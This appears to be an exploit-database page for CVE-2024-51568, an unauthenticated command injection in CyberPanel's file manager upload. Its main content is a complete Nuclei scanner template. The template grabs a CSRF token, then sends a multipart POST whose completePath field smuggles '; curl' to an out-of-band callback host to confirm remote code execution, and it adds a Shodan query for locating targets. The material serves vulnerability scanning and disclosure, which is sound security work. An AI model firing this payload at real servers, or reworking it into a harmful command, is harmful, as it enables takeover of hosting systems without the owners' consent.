CVE-2024-51568: CyberPanel - Command Injection

2025-08-01 CyberPanel PoC Public

Description

CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.

PoC

id: CVE-2024-51568

info:
  name: CyberPanel - Command Injection
  author: s4e-io
  severity: critical
  description: |
    CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51568.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve/
    - https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51568
    - https://cyberpanel.net/blog/cyberpanel-v2-3-5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-51568
    cwe-id: CWE-78
    epss-score: 0.45737
    epss-percentile: 0.98735
  metadata:
    verified: true
    max-request: 2
    vendor: cyberpanel
    product: cyberpanel
    shodan-query: http.html:"login to your cyberpanel account"
  tags: cve,cve2024,cyberpanel,rce,intrusive,vkev,vuln

variables:
  boundary: "{{to_lower(rand_base(9))}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /filemanager/upload HTTP/1.1
        Host: {{Hostname}}
        X-CSRFToken: {{csrftoken}}
        Content-Type: multipart/form-data; boundary=----NewBoundary{{boundary}}

        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="domainName"

        {{Hostname}}
        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="completePath"

        ; curl -X POST http://{{interactsh-url}}
        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}.txt"

        pwd
        ------NewBoundary{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "status\":", "error_message\":")'
        condition: and

    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        regex:
          - csrftoken=([A-Za-z0-9]+)
        internal: true
# digest: 490a00463044022003c363d62cb738f1ebe28278958aeef83b702f543ef34fc72daf0863b03f7ecf022033223bfed2612d68c14ecf94add8a6bf90fc6088362b6c241980cde750641f3d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities